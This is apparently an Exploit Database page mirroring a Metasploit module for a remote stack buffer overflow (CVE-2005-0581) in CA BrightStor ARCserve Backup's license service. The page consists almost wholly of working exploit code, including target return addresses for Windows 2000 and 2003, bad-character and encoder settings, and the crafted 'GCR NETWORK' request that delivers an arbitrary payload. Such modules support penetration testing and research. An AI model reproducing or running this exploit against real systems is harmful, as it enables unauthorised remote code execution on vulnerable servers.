CA BrightStor ARCserve License Service – ‘GCR NETWORK’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2010-11-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16414/

• ##
  # $Id: license_gcr.rb 10892 2010-11-03 22:09:44Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
  				By sending a specially crafted request to the lic98rmtd.exe service, an attacker
  				could overflow the buffer and execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10892 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0581' ],
  					[ 'OSVDB', '14389' ],
  					[ 'BID', '12705' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  					[
  						[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
  						[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
  					],
  			'DisclosureDate' => 'Mar 2 2005',
  			'DefaultTarget' => 0))
  
  		register_options([ Opt::RPORT(10202) ], self.class)
  	end
  
  	def exploit
  		connect
  
  		buff =rand_text_alpha_upper(256) + [target.ret].pack('V')
  		buff << make_nops(12) + payload.encoded
  
  		# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
  		sploit= "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"
  
  		print_status("Trying target #{target.name}...")
  
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end